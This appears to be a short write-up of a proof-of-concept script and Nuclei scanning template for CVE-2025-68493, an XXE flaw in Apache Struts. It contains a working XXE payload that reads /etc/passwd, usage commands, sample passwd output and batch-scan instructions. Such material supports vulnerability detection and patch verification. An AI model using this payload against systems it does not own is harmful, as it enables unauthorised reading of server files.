
Python PoC script and Nuclei YAML template for detecting and exploiting CVE-2025-68493, an XXE vulnerability in Apache Struts, enabling file read and batch scanning.
CVE-2025-68493
[1] Apache Struts XWork XML Vulnerability CVE-2025-68493 PoC and Script | ZONE.CI Global Network. https://zone.ci/secarticles/wx/486533.html
To verify and exploit the CVE-2025-68493 vulnerability, you can use the following Python PoC script and Nuclei YAML template.
Script Name: cve_2025_68493_poc.py
Functionality: This script is used to verify the vulnerability on a single target, attempting to read a specified file (default is /etc/passwd).
Prerequisites:
requests library (pip install requests)Command Line Arguments:
-u, --url: Base URL of the target application (e.g., http://127.0.0.1:8080)-f, --file: Path of the target file to attempt to read (default is /etc/passwd)Example:
python3 cve_2025_68493_poc.py -u http://example.com:8080 -f /etc/passwd
Expected Output:
If the target is vulnerable and the file is successfully read, the output will be similar to the following:
[*] Testing URL: http://example.com:8080/struts2-xml-parser/xmlParserNoDtdParse
[*] Payload: <?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
[+] Vulnerable! Successfully read /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
----------------------------------------
Template Name: cve-2025-68493.yaml
Functionality: This template is used to perform batch scanning of multiple targets using the Nuclei tool to detect the CVE-2025-68493 vulnerability.
Prerequisites:
Command Line Arguments:
-t: Path to the Nuclei template file-u: Single target URL-l: File containing multiple target URLsExample:
Scan a Single Target:
nuclei -t cve-2025-68493.yaml -u http://example.com:8080
Batch Scan:
Suppose you have a file named targets.txt where each line contains a target URL:
http://target1.com:8080
http://target2.com:8080
Execute the following command for batch scanning:
nuclei -t cve-2025-68493.yaml -l targets.txt